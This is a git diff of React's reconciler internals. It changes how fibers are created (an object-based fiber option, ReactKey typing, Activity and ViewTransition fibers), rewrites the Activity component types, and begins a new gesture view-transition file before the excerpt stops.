 import {TransitionTracingMarker} from './ReactFiberTracingMarkerComponent';
-import {
-  detachOffscreenInstance,
-  attachOffscreenInstance,
-} from './ReactFiberCommitWork';
 import {getHostContext} from './ReactFiberHostContext';
 import type {ReactComponentInfo} from '../../shared/ReactTypes';
 import isArray from 'shared/isArray';
@@ -125,10 +125,10 @@ if (__DEV__) {
   hasBadMapPolyfill = false;
   try {
     const nonExtensibleObject = Object.preventExtensions({});
-    /* eslint-disable no-new */
+    // eslint-disable-next-line no-new
     new Map([[nonExtensibleObject, null]]);
+    // eslint-disable-next-line no-new
     new Set([nonExtensibleObject]);
-    /* eslint-enable no-new */
   } catch (e) {
     // TODO: Consider warning about bad polyfills
     hasBadMapPolyfill = true;
@@ -139,7 +139,7 @@ function FiberNode(
   this: $FlowFixMe,
   tag: WorkTag,
   pendingProps: mixed,
-  key: null | string,
+  key: ReactKey,
   mode: TypeOfMode,
 ) {
   // Instance
@@ -189,28 +189,19 @@ function FiberNode(
     // Learn more about this here:
     // https://github.com/facebook/react/issues/14365
     // https://bugs.chromium.org/p/v8/issues/detail?id=8538
-    this.actualDuration = Number.NaN;
-    this.actualStartTime = Number.NaN;
-    this.selfBaseDuration = Number.NaN;
-    this.treeBaseDuration = Number.NaN;
-
-    // It's okay to replace the initial doubles with smis after initialization.
-    // This won't trigger the performance cliff mentioned above,
-    // and it simplifies other profiler code (including DevTools).
-    this.actualDuration = 0;
-    this.actualStartTime = -1;
-    this.selfBaseDuration = 0;
-    this.treeBaseDuration = 0;
+
+    this.actualDuration = -0;
+    this.actualStartTime = -1.1;
+    this.selfBaseDuration = -0;
+    this.treeBaseDuration = -0;
   }
 
   if (__DEV__) {
     // This isn't directly used but is handy for debugging internals:
     this._debugInfo = null;
     this._debugOwner = null;
-    if (enableOwnerStacks) {
-      this._debugStack = null;
-      this._debugTask = null;
-    }
+    this._debugStack = null;
+    this._debugTask = null;
     this._debugNeedsRemount = false;
     this._debugHookTypes = null;
     if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') {
@@ -232,16 +223,87 @@ function FiberNode(
 //    is faster.
 // 5) It should be easy to port this to a C struct and keep a C implementation
 //    compatible.
-function createFiber(
+function createFiberImplClass(
   tag: WorkTag,
   pendingProps: mixed,
-  key: null | string,
+  key: ReactKey,
   mode: TypeOfMode,
 ): Fiber {
   // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
   return new FiberNode(tag, pendingProps, key, mode);
 }
 
+function createFiberImplObject(
+  tag: WorkTag,
+  pendingProps: mixed,
+  key: ReactKey,
+  mode: TypeOfMode,
+): Fiber {
+  const fiber: Fiber = {
+    // Instance
+    // tag, key - defined at the bottom as dynamic properties
+    elementType: null,
+    type: null,
+    stateNode: null,
+
+    // Fiber
+    return: null,
+    child: null,
+    sibling: null,
+    index: 0,
+
+    ref: null,
+    refCleanup: null,
+
+    // pendingProps - defined at the bottom as dynamic properties
+    memoizedProps: null,
+    updateQueue: null,
+    memoizedState: null,
+    dependencies: null,
+
+    // Effects
+    flags: NoFlags,
+    subtreeFlags: NoFlags,
+    deletions: null,
+
+    lanes: NoLanes,
+    childLanes: NoLanes,
+
+    alternate: null,
+
+    // dynamic properties at the end for more efficient hermes bytecode
+    tag,
+    key,
+    pendingProps,
+    mode,
+  };
+
+  if (enableProfilerTimer) {
+    fiber.actualDuration = -0;
+    fiber.actualStartTime = -1.1;
+    fiber.selfBaseDuration = -0;
+    fiber.treeBaseDuration = -0;
+  }
+
+  if (__DEV__) {
+    // This isn't directly used but is handy for debugging internals:
+    fiber._debugInfo = null;
+    fiber._debugOwner = null;
+    fiber._debugStack = null;
+    fiber._debugTask = null;
+    fiber._debugNeedsRemount = false;
+    fiber._debugHookTypes = null;
+    if (!hasBadMapPolyfill && typeof Object.preventExtensions === 'function') {
+      Object.preventExtensions(fiber);
+    }
+  }
+  return fiber;
+}
+
+const createFiber = enableObjectFiber
+  ? createFiberImplObject
+  : createFiberImplClass;
+
 function shouldConstruct(Component: Function) {
   const prototype = Component.prototype;
   return !!(prototype && prototype.isReactComponent);
@@ -284,10 +346,8 @@ export function createWorkInProgress(current: Fiber, pendingProps: any): Fiber {
       // DEV-only fields
 
       workInProgress._debugOwner = current._debugOwner;
-      if (enableOwnerStacks) {
-        workInProgress._debugStack = current._debugStack;
-        workInProgress._debugTask = current._debugTask;
-      }
+      workInProgress._debugStack = current._debugStack;
+      workInProgress._debugTask = current._debugTask;
       workInProgress._debugHookTypes = current._debugHookTypes;
     }
 
@@ -306,13 +366,19 @@ export function createWorkInProgress(current: Fiber, pendingProps: any): Fiber {
     workInProgress.subtreeFlags = NoFlags;
     workInProgress.deletions = null;
 
+    if (enableOptimisticKey) {
+      // For optimistic keys, the Fibers can have different keys if one is optimistic
+      // and the other one is filled in.
+      workInProgress.key = current.key;
+    }
+
     if (enableProfilerTimer) {
       // We intentionally reset, rather than copy, actualDuration & actualStartTime.
       // This prevents time from endlessly accumulating in new commits.
       // This has the downside of resetting values for different priority renders,
       // But works for yielding (the common case) and should support resuming.
-      workInProgress.actualDuration = 0;
-      workInProgress.actualStartTime = -1;
+      workInProgress.actualDuration = -0;
+      workInProgress.actualStartTime = -1.1;
     }
   }
 
@@ -333,10 +399,16 @@ export function createWorkInProgress(current: Fiber, pendingProps: any): Fiber {
   workInProgress.dependencies =
     currentDependencies === null
       ? null
-      : {
-          lanes: currentDependencies.lanes,
-          firstContext: currentDependencies.firstContext,
-        };
+      : __DEV__
+        ? {
+            lanes: currentDependencies.lanes,
+            firstContext: currentDependencies.firstContext,
+            _debugThenableState: currentDependencies._debugThenableState,
+          }
+        : {
+            lanes: currentDependencies.lanes,
+            firstContext: currentDependencies.firstContext,
+          };
 
   // These will be overridden during the parent's reconciliation
   workInProgress.sibling = current.sibling;
@@ -424,18 +496,31 @@ export function resetWorkInProgress(
     workInProgress.memoizedState = current.memoizedState;
     workInProgress.updateQueue = current.updateQueue;
     // Needed because Blocks store data on type.
+    // TODO: Blocks don't exist anymore. Do we still need this?
     workInProgress.type = current.type;
 
+    if (enableOptimisticKey) {
+      // For optimistic keys, the Fibers can have different keys if one is optimistic
+      // and the other one is filled in.
+      workInProgress.key = current.key;
+    }
+
     // Clone the dependencies object. This is mutated during the render phase, so
     // it cannot be shared with the current fiber.
     const currentDependencies = current.dependencies;
     workInProgress.dependencies =
       currentDependencies === null
         ? null
-        : {
-            lanes: currentDependencies.lanes,
-            firstContext: currentDependencies.firstContext,
-          };
+        : __DEV__
+          ? {
+              lanes: currentDependencies.lanes,
+              firstContext: currentDependencies.firstContext,
+              _debugThenableState: currentDependencies._debugThenableState,
+            }
+          : {
+              lanes: currentDependencies.lanes,
+              firstContext: currentDependencies.firstContext,
+            };
 
     if (enableProfilerTimer) {
       // Note: We don't reset the actualTime counts. It's useful to accumulate
@@ -451,49 +536,37 @@ export function resetWorkInProgress(
 export function createHostRootFiber(
   tag: RootTag,
   isStrictMode: boolean,
-  concurrentUpdatesByDefaultOverride: null | boolean,
 ): Fiber {
-  let mode;
+  let mode: number;
   if (disableLegacyMode || tag === ConcurrentRoot) {
     mode = ConcurrentMode;
     if (isStrictMode === true) {
       mode |= StrictLegacyMode | StrictEffectsMode;
     }
-    if (
-      // We only use this flag for our repo tests to check both behaviors.
-      forceConcurrentByDefaultForTesting
-    ) {
-      mode |= ConcurrentUpdatesByDefaultMode;
-    } else if (
-      // Only for internal experiments.
-      allowConcurrentByDefault &&
-      concurrentUpdatesByDefaultOverride
-    ) {
-      mode |= ConcurrentUpdatesByDefaultMode;
-    }
   } else {
     mode = NoMode;
   }
 
-  if (enableProfilerTimer && isDevToolsPresent) {
-    // Always collect profile timings when DevTools are present.
-    // This enables DevTools to start capturing timing at any point–
-    // Without some nodes in the tree having empty base times.
+  if (__DEV__ || (enableProfilerTimer && isDevToolsPresent)) {
+    // dev: Enable profiling instrumentation by default.
+    // profile: enabled if DevTools is present or subtree is wrapped in <Profiler>.
+    // production: disabled.
     mode |= ProfileMode;
   }
 
   return createFiber(HostRoot, null, null, mode);
 }
 
+// TODO: Get rid of this helper. Only createFiberFromElement should exist.
 export function createFiberFromTypeAndProps(
   type: any, // React$ElementType
-  key: null | string,
+  key: ReactKey,
   pendingProps: any,
   owner: null | ReactComponentInfo | Fiber,
   mode: TypeOfMode,
   lanes: Lanes,
 ): Fiber {
-  let fiberTag = FunctionComponent;
+  let fiberTag: WorkTag = FunctionComponent;
   // The resolved type is set if we know what the final type will be. I.e. it's not lazy.
   let resolvedType = type;
   if (typeof type === 'function') {
@@ -513,8 +586,8 @@ export function createFiberFromTypeAndProps(
       fiberTag = isHostHoistableType(type, pendingProps, hostContext)
         ? HostHoistable
         : isHostSingletonType(type)
-        ? HostSingleton
-        : HostComponent;
+          ? HostSingleton
+          : HostComponent;
     } else if (supportsResources) {
       const hostContext = getHostContext();
       fiberTag = isHostHoistableType(type, pendingProps, hostContext)
@@ -527,6 +600,8 @@ export function createFiberFromTypeAndProps(
     }
   } else {
     getTag: switch (type) {
+      case REACT_ACTIVITY_TYPE:
+        return createFiberFromActivity(pendingProps, mode, lanes, key);
       case REACT_FRAGMENT_TYPE:
         return createFiberFromFragment(pendingProps.children, mode, lanes, key);
       case REACT_STRICT_MODE_TYPE:
@@ -535,12 +610,6 @@ export function createFiberFromTypeAndProps(
         if (disableLegacyMode || (mode & ConcurrentMode) !== NoMode) {
           // Strict effects should never run on legacy roots
           mode |= StrictEffectsMode;
-          if (
-            enableDO_NOT_USE_disableStrictPassiveEffect &&
-            pendingProps.DO_NOT_USE_disableStrictPassiveEffect
-          ) {
-            mode |= NoStrictPassiveEffectsMode;
-          }
         }
         break;
       case REACT_PROFILER_TYPE:
@@ -549,13 +618,16 @@ export function createFiberFromTypeAndProps(
         return createFiberFromSuspense(pendingProps, mode, lanes, key);
       case REACT_SUSPENSE_LIST_TYPE:
         return createFiberFromSuspenseList(pendingProps, mode, lanes, key);
-      case REACT_OFFSCREEN_TYPE:
-        return createFiberFromOffscreen(pendingProps, mode, lanes, key);
       case REACT_LEGACY_HIDDEN_TYPE:
         if (enableLegacyHidden) {
           return createFiberFromLegacyHidden(pendingProps, mode, lanes, key);
         }
       // Fall through
+      case REACT_VIEW_TRANSITION_TYPE:
+        if (enableViewTransition) {
+          return createFiberFromViewTransition(pendingProps, mode, lanes, key);
+        }
+      // Fall through
       case REACT_SCOPE_TYPE:
         if (enableScopeAPI) {
           return createFiberFromScope(type, pendingProps, mode, lanes, key);
@@ -566,35 +638,15 @@ export function createFiberFromTypeAndProps(
           return createFiberFromTracingMarker(pendingProps, mode, lanes, key);
         }
       // Fall through
-      case REACT_DEBUG_TRACING_MODE_TYPE:
-        if (enableDebugTracing) {
-          fiberTag = Mode;
-          mode |= DebugTracingMode;
-          break;
-        }
-      // Fall through
       default: {
         if (typeof type === 'object' && type !== null) {
           switch (type.$$typeof) {
-            case REACT_PROVIDER_TYPE:
-              if (!enableRenderableContext) {
-                fiberTag = ContextProvider;
-                break getTag;
-              }
-            // Fall through
             case REACT_CONTEXT_TYPE:
-              if (enableRenderableContext) {
-                fiberTag = ContextProvider;
-                break getTag;
-              } else {
-                fiberTag = ContextConsumer;
-                break getTag;
-              }
+              fiberTag = ContextProvider;
+              break getTag;
             case REACT_CONSUMER_TYPE:
-              if (enableRenderableContext) {
-                fiberTag = ContextConsumer;
-                break getTag;
-              }
+              fiberTag = ContextConsumer;
+              break getTag;
             // Fall through
             case REACT_FORWARD_REF_TYPE:
               fiberTag = ForwardRef;
@@ -650,11 +702,18 @@ export function createFiberFromTypeAndProps(
           typeString = type === null ? 'null' : typeof type;
         }
 
-        throw new Error(
+        // The type is invalid but it's conceptually a child that errored and not the
+        // current component itself so we create a virtual child that throws in its
+        // begin phase. This is the same thing we do in ReactChildFiber if we throw
+        // but we do it here so that we can assign the debug owner and stack from the
+        // element itself. That way the error stack will point to the JSX callsite.
+        fiberTag = Throw;
+        pendingProps = new Error(
           'Element type is invalid: expected a string (for built-in ' +
             'components) or a class/function (for composite components) ' +
             `but got: ${typeString}.${info}`,
         );
+        resolvedType = null;
       }
     }
   }
@@ -693,10 +752,8 @@ export function createFiberFromElement(
   );
   if (__DEV__) {
     fiber._debugOwner = element._owner;
-    if (enableOwnerStacks) {
-      fiber._debugStack = element._debugStack;
-      fiber._debugTask = element._debugTask;
-    }
+    fiber._debugStack = element._debugStack;
+    fiber._debugTask = element._debugTask;
   }
   return fiber;
 }
@@ -705,7 +762,7 @@ export function createFiberFromFragment(
   elements: ReactFragment,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(Fragment, elements, key, mode);
   fiber.lanes = lanes;
@@ -717,7 +774,7 @@ function createFiberFromScope(
   pendingProps: any,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ) {
   const fiber = createFiber(ScopeComponent, pendingProps, key, mode);
   fiber.type = scope;
@@ -730,7 +787,7 @@ function createFiberFromProfiler(
   pendingProps: any,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   if (__DEV__) {
     if (typeof pendingProps.id !== 'string') {
@@ -759,7 +816,7 @@ export function createFiberFromSuspense(
   pendingProps: any,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(SuspenseComponent, pendingProps, key, mode);
   fiber.elementType = REACT_SUSPENSE_TYPE;
@@ -771,7 +828,7 @@ export function createFiberFromSuspenseList(
   pendingProps: any,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(SuspenseListComponent, pendingProps, key, mode);
   fiber.elementType = REACT_SUSPENSE_LIST_TYPE;
@@ -783,47 +840,57 @@ export function createFiberFromOffscreen(
   pendingProps: OffscreenProps,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(OffscreenComponent, pendingProps, key, mode);
-  fiber.elementType = REACT_OFFSCREEN_TYPE;
   fiber.lanes = lanes;
-  const primaryChildInstance: OffscreenInstance = {
-    _visibility: OffscreenVisible,
-    _pendingVisibility: OffscreenVisible,
-    _pendingMarkers: null,
-    _retryCache: null,
-    _transitions: null,
-    _current: null,
-    detach: () => detachOffscreenInstance(primaryChildInstance),
-    attach: () => attachOffscreenInstance(primaryChildInstance),
+  return fiber;
+}
+export function createFiberFromActivity(
+  pendingProps: ActivityProps,
+  mode: TypeOfMode,
+  lanes: Lanes,
+  key: ReactKey,
+): Fiber {
+  const fiber = createFiber(ActivityComponent, pendingProps, key, mode);
+  fiber.elementType = REACT_ACTIVITY_TYPE;
+  fiber.lanes = lanes;
+  return fiber;
+}
+
+export function createFiberFromViewTransition(
+  pendingProps: ViewTransitionProps,
+  mode: TypeOfMode,
+  lanes: Lanes,
+  key: ReactKey,
+): Fiber {
+  if (!enableSuspenseyImages) {
+    // Render a ViewTransition component opts into SuspenseyImages mode even
+    // when the flag is off.
+    mode |= SuspenseyImagesMode;
+  }
+  const fiber = createFiber(ViewTransitionComponent, pendingProps, key, mode);
+  fiber.elementType = REACT_VIEW_TRANSITION_TYPE;
+  fiber.lanes = lanes;
+  const instance: ViewTransitionState = {
+    autoName: null,
+    paired: null,
+    clones: null,
+    ref: null,
   };
-  fiber.stateNode = primaryChildInstance;
+  fiber.stateNode = instance;
   return fiber;
 }
 
 export function createFiberFromLegacyHidden(
-  pendingProps: OffscreenProps,
+  pendingProps: LegacyHiddenProps,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(LegacyHiddenComponent, pendingProps, key, mode);
   fiber.elementType = REACT_LEGACY_HIDDEN_TYPE;
   fiber.lanes = lanes;
-  // Adding a stateNode for legacy hidden because it's currently using
-  // the offscreen implementation, which depends on a state node
-  const instance: OffscreenInstance = {
-    _visibility: OffscreenVisible,
-    _pendingVisibility: OffscreenVisible,
-    _pendingMarkers: null,
-    _transitions: null,
-    _retryCache: null,
-    _current: null,
-    detach: () => detachOffscreenInstance(instance),
-    attach: () => attachOffscreenInstance(instance),
-  };
-  fiber.stateNode = instance;
   return fiber;
 }
 
@@ -831,7 +898,7 @@ export function createFiberFromTracingMarker(
   pendingProps: any,
   mode: TypeOfMode,
   lanes: Lanes,
-  key: null | string,
+  key: ReactKey,
 ): Fiber {
   const fiber = createFiber(TracingMarkerComponent, pendingProps, key, mode);
   fiber.elementType = REACT_TRACING_MARKER_TYPE;
@@ -858,7 +925,7 @@ export function createFiberFromText(
 }
 
 export function createFiberFromDehydratedFragment(
-  dehydratedNode: SuspenseInstance,
+  dehydratedNode: SuspenseInstance | ActivityInstance,
 ): Fiber {
   const fiber = createFiber(DehydratedFragment, null, null, NoMode);
   fiber.stateNode = dehydratedNode;
diff --git a/packages/react-reconciler/src/ReactFiberActivityComponent.js b/packages/react-reconciler/src/ReactFiberActivityComponent.js
index 48b5bc0e6d8e..ced456df20b0 100644
--- a/packages/react-reconciler/src/ReactFiberActivityComponent.js
+++ b/packages/react-reconciler/src/ReactFiberActivityComponent.js
@@ -7,65 +7,19 @@
  * @flow
  */
 
-import type {ReactNodeList, OffscreenMode, Wakeable} from 'shared/ReactTypes';
-import type {Lanes} from './ReactFiberLane';
-import type {SpawnedCachePool} from './ReactFiberCacheComponent';
-import type {Fiber} from './ReactInternalTypes';
-import type {
-  Transition,
-  TracingMarkerInstance,
-} from './ReactFiberTracingMarkerComponent';
-import type {RetryQueue} from './ReactFiberSuspenseComponent';
-
-export type OffscreenProps = {
-  // TODO: Pick an API before exposing the Offscreen type. I've chosen an enum
-  // for now, since we might have multiple variants. For example, hiding the
-  // content without changing the layout.
-  //
-  // Default mode is visible. Kind of a weird default for a component
-  // called "Offscreen." Possible alt: <Visibility />?
-  mode?: OffscreenMode | null | void,
-  children?: ReactNodeList,
-};
-
-// We use the existence of the state object as an indicator that the component
-// is hidden.
-export type OffscreenState = {
-  // TODO: This doesn't do anything, yet. It's always NoLanes. But eventually it
-  // will represent the pending work that must be included in the render in
-  // order to unhide the component.
-  baseLanes: Lanes,
-  cachePool: SpawnedCachePool | null,
+import type {ActivityInstance} from './ReactFiberConfig';
+import type {CapturedValue} from './ReactCapturedValue';
+import type {Lane} from './ReactFiberLane';
+import type {TreeContext} from './ReactFiberTreeContext';
+
+// A non-null ActivityState represents a dehydrated Activity boundary.
+export type ActivityState = {
+  dehydrated: ActivityInstance,
+  treeContext: null | TreeContext,
+  // Represents the lane we should attempt to hydrate a dehydrated boundary at.
+  // OffscreenLane is the default for dehydrated boundaries.
+  // NoLane is the default for normal boundaries, which turns into "normal" pri.
+  retryLane: Lane,
+  // Stashed Errors that happened while attempting to hydrate this boundary.
+  hydrationErrors: Array<CapturedValue<mixed>> | null,
 };
-
-export type OffscreenQueue = {
-  transitions: Array<Transition> | null,
-  markerInstances: Array<TracingMarkerInstance> | null,
-  retryQueue: RetryQueue | null,
-};
-
-type OffscreenVisibility = number;
-
-export const OffscreenVisible = /*                     */ 0b001;
-export const OffscreenDetached = /*                    */ 0b010;
-export const OffscreenPassiveEffectsConnected = /*     */ 0b100;
-
-export type OffscreenInstance = {
-  _pendingVisibility: OffscreenVisibility,
-  _visibility: OffscreenVisibility,
-  _pendingMarkers: Set<TracingMarkerInstance> | null,
-  _transitions: Set<Transition> | null,
-  _retryCache: WeakSet<Wakeable> | Set<Wakeable> | null,
-
-  // Represents the current Offscreen fiber
-  _current: Fiber | null,
-  detach: () => void,
-  attach: () => void,
-};
-
-export function isOffscreenManual(offscreenFiber: Fiber): boolean {
-  return (
-    offscreenFiber.memoizedProps !== null &&
-    offscreenFiber.memoizedProps.mode === 'manual'
-  );
-}
diff --git a/packages/react-reconciler/src/ReactFiberApplyGesture.js b/packages/react-reconciler/src/ReactFiberApplyGesture.js
new file mode 100644
index 000000000000..32e593958457
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberApplyGesture.js
@@ -0,0 +1,1335 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ViewTransitionProps} from 'shared/ReactTypes';
+
+import type {Fiber, FiberRoot} from './ReactInternalTypes';
+
+import type {Instance, TextInstance, Props} from './ReactFiberConfig';
+
+import type {OffscreenState} from './ReactFiberOffscreenComponent';
+
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
+
+import {
+  cloneMutableInstance,
+  cloneMutableTextInstance,
+  cloneRootViewTransitionContainer,
+  removeRootViewTransitionClone,
+  cancelRootViewTransitionName,
+  restoreRootViewTransitionName,
+  cancelViewTransitionName,
+  applyViewTransitionName,
+  appendChild,
+  commitUpdate,
+  commitTextUpdate,
+  resetTextContent,
+  supportsResources,
+  supportsSingletons,
+  unhideInstance,
+  unhideTextInstance,
+} from './ReactFiberConfig';
+import {
+  popMutationContext,
+  pushMutationContext,
+  viewTransitionMutationContext,
+  trackHostMutation,
+} from './ReactFiberMutationTracking';
+import {
+  MutationMask,
+  Placement,
+  Update,
+  ContentReset,
+  NoFlags,
+  Visibility,
+  ViewTransitionNamedStatic,
+  ViewTransitionStatic,
+  AffectedParentLayout,
+} from './ReactFiberFlags';
+import {
+  HasEffect as HookHasEffect,
+  Insertion as HookInsertion,
+} from './ReactHookEffectTags';
+import {
+  FunctionComponent,
+  ForwardRef,
+  MemoComponent,
+  SimpleMemoComponent,
+  HostComponent,
+  HostHoistable,
+  HostSingleton,
+  HostText,
+  HostPortal,
+  OffscreenComponent,
+  ViewTransitionComponent,
+} from './ReactWorkTags';
+import {
+  restoreEnterOrExitViewTransitions,
+  restoreNestedViewTransitions,
+  restoreUpdateViewTransitionForGesture,
+  appearingViewTransitions,
+  commitEnterViewTransitions,
+  measureNestedViewTransitions,
+  measureUpdateViewTransition,
+  viewTransitionCancelableChildren,
+  pushViewTransitionCancelableScope,
+  popViewTransitionCancelableScope,
+} from './ReactFiberCommitViewTransitions';
+import {
+  commitHookEffectListMount,
+  commitHookEffectListUnmount,
+} from './ReactFiberCommitEffects';
+import {
+  getViewTransitionName,
+  getViewTransitionClassName,
+} from './ReactFiberViewTransitionComponent';
+
+import {
+  enableProfilerTimer,
+  enableComponentPerformanceTrack,
+} from 'shared/ReactFeatureFlags';
+import {trackAnimatingTask} from './ReactProfilerTimer';
+import {scheduleGestureTransitionEvent} from './ReactFiberWorkLoop';
+
+// Used during the apply phase to track whether a parent ViewTransition component
+// might have been affected by any mutations / relayouts below.
+let viewTransitionContextChanged: boolean = false;
+
+function detectMutationOrInsertClones(finishedWork: Fiber): boolean {
+  return true;
+}
+
+const CLONE_UPDATE = 0; // Mutations in this subtree or potentially affected by layout.
+const CLONE_EXIT = 1; // Inside a reappearing offscreen before the next ViewTransition or HostComponent.
+const CLONE_UNHIDE = 2; // Inside a reappearing offscreen before the next HostComponent.
+const CLONE_APPEARING_PAIR = 3; // Like UNHIDE but we're already inside the first Host Component only finding pairs.
+const CLONE_UNCHANGED = 4; // Nothing in this tree was changed but we're still walking to clone it.
+const INSERT_EXIT = 5; // Inside a newly mounted tree before the next ViewTransition or HostComponent.
+const INSERT_APPEND = 6; // Inside a newly mounted tree before the next HostComponent.
+const INSERT_APPEARING_PAIR = 7; // Inside a newly mounted tree only finding pairs.
+type VisitPhase = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7;
+
+function applyViewTransitionToClones(
+  name: string,
+  className: ?string,
+  clones: Array<Instance>,
+  fiber: Fiber,
+): void {
+  // This gets called when we have found a pair, but after the clone in created. The clone is
+  // created by the insertion side. If the insertion side if found before the deletion side
+  // then this is called by the deletion. If the deletion is visited first then this is called
+  // later by the insertion when the clone has been created.
+  for (let i = 0; i < clones.length; i++) {
+    applyViewTransitionName(
+      clones[i],
+      i === 0
+        ? name
+        : // If we have multiple Host Instances below, we add a suffix to the name to give
+          // each one a unique name.
+          name + '_' + i,
+      className,
+    );
+  }
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (fiber._debugTask != null) {
+      trackAnimatingTask(fiber._debugTask);
+    }
+  }
+}
+
+function trackDeletedPairViewTransitions(deletion: Fiber): void {
+  if (
+    appearingViewTransitions === null ||
+    appearingViewTransitions.size === 0
+  ) {
+    // We've found all.
+    return;
+  }
+  const pairs = appearingViewTransitions;
+  if ((deletion.subtreeFlags & ViewTransitionNamedStatic) === NoFlags) {
+    // This has no named view transitions in its subtree.
+    return;
+  }
+  let child = deletion.child;
+  while (child !== null) {
+    if (child.tag === OffscreenComponent && child.memoizedState !== null) {
+      // This tree was already hidden so we skip it.
+    } else {
+      if (
+        child.tag === ViewTransitionComponent &&
+        (child.flags & ViewTransitionNamedStatic) !== NoFlags
+      ) {
+        const props: ViewTransitionProps = child.memoizedProps;
+        const name = props.name;
+        if (name != null && name !== 'auto') {
+          const pair = pairs.get(name);
+          if (pair !== undefined) {
+            // Delete the entry so that we know when we've found all of them
+            // and can stop searching (size reaches zero).
+            pairs.delete(name);
+            const className: ?string = getViewTransitionClassName(
+              props.default,
+              props.share,
+            );
+            if (className !== 'none') {
+              // TODO: Since the deleted instance already has layout we could
+              // check if it's in the viewport and if not skip the pairing.
+              // It would currently cause layout thrash though so if we did that
+              // we need to avoid inserting the root of the cloned trees until
+              // the end.
+
+              // The "old" instance is actually the one we're inserting.
+              const oldInstance: ViewTransitionState = pair;
+              // The "new" instance is the already mounted one we're deleting.
+              const newInstance: ViewTransitionState = child.stateNode;
+              oldInstance.paired = newInstance;
+              newInstance.paired = oldInstance;
+              const clones = oldInstance.clones;
+              if (clones !== null) {
+                // If we have clones that means that we've already visited this
+                // ViewTransition boundary before and we can now apply the name
+                // to those clones. Otherwise, we have to wait until we clone it.
+                applyViewTransitionToClones(name, className, clones, child);
+              }
+            }
+            if (pairs.size === 0) {
+              break;
+            }
+          }
+        }
+      }
+      trackDeletedPairViewTransitions(child);
+    }
+    child = child.sibling;
+  }
+}
+
+function trackEnterViewTransitions(deletion: Fiber): void {
+  if (deletion.tag === ViewTransitionComponent) {
+    const props: ViewTransitionProps = deletion.memoizedProps;
+    const name = getViewTransitionName(props, deletion.stateNode);
+    const pair =
+      appearingViewTransitions !== null
+        ? appearingViewTransitions.get(name)
+        : undefined;
+    const className: ?string = getViewTransitionClassName(
+      props.default,
+      pair !== undefined ? props.share : props.enter,
+    );
+    if (className !== 'none') {
+      if (pair !== undefined) {
+        // TODO: Since the deleted instance already has layout we could
+        // check if it's in the viewport and if not skip the pairing.
+        // It would currently cause layout thrash though so if we did that
+        // we need to avoid inserting the root of the cloned trees until
+        // the end.
+
+        // Delete the entry so that we know when we've found all of them
+        // and can stop searching (size reaches zero).
+        // $FlowFixMe[incompatible-use]: Refined by the pair.
+        appearingViewTransitions.delete(name);
+        // The "old" instance is actually the one we're inserting.
+        const oldInstance: ViewTransitionState = pair;
+        // The "new" instance is the already mounted one we're deleting.
+        const newInstance: ViewTransitionState = deletion.stateNode;
+        oldInstance.paired = newInstance;
+        newInstance.paired = oldInstance;
+        const clones = oldInstance.clones;
+        if (clones !== null) {
+          // If we have clones that means that we've already visited this
+          // ViewTransition boundary before and we can now apply the name
+          // to those clones. Otherwise, we have to wait until we clone it.
+          applyViewTransitionToClones(name, className, clones, deletion);
+        }
+      }
+    }
+    // Look for more pairs deeper in the tree.
+    trackDeletedPairViewTransitions(deletion);
+  } else if ((deletion.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+    let child = deletion.child;
+    while (child !== null) {
+      trackEnterViewTransitions(child);
+      child = child.sibling;
+    }
+  } else {
+    trackDeletedPairViewTransitions(deletion);
+  }
+}
+
+function applyAppearingPairViewTransition(child: Fiber): void {
+  // Normally these helpers do recursive calls but since insertion/offscreen is forked
+  // we call this helper from those loops instead. This must be called only on
+  // ViewTransitionComponent that has already had their clones filled.
+  if ((child.flags & ViewTransitionNamedStatic) !== NoFlags) {
+    const state: ViewTransitionState = child.stateNode;
+    // If this is not yet paired, it doesn't mean that we won't pair it later when
+    // we find the deletion side. If that's the case then we'll add the names to
+    // the clones then.
+    if (state.paired) {
+      const props: ViewTransitionProps = child.memoizedProps;
+      if (props.name == null || props.name === 'auto') {
+        throw new Error(
+          'Found a pair with an auto name. This is a bug in React.',
+        );
+      }
+      const name = props.name;
+      // Note that this class name that doesn't actually really matter because the
+      // "new" side will be the one that wins in practice.
+      const className: ?string = getViewTransitionClassName(
+        props.default,
+        props.share,
+      );
+      if (className !== 'none') {
+        const clones = state.clones;
+        // If there are no clones at this point, that should mean that there are no
+        // HostComponent children in this ViewTransition.
+        if (clones !== null) {
+          applyViewTransitionToClones(name, className, clones, child);
+        }
+        scheduleGestureTransitionEvent(child, props.onGestureShare);
+      }
+    }
+  }
+}
+
+function applyExitViewTransition(placement: Fiber): void {
+  // Normally these helpers do recursive calls but since insertion/offscreen is forked
+  // we call this helper from those loops instead. This must be called only on
+  // ViewTransitionComponent that has already had their clones filled.
+  const state: ViewTransitionState = placement.stateNode;
+  const props: ViewTransitionProps = placement.memoizedProps;
+  const name = getViewTransitionName(props, state);
+  const className: ?string = getViewTransitionClassName(
+    props.default,
+    // Note that just because we don't have a pair yet doesn't mean we won't find one
+    // later. However, that doesn't matter because if we do the class name that wins
+    // is the one applied by the "new" side anyway.
+    state.paired ? props.share : props.exit,
+  );
+  if (className !== 'none') {
+    // TODO: Ideally we could determine if this exit is in the viewport and
+    // exclude it otherwise but that would require waiting until we insert
+    // and layout the clones first. Currently wait until the view transition
+    // starts before reading the layout.
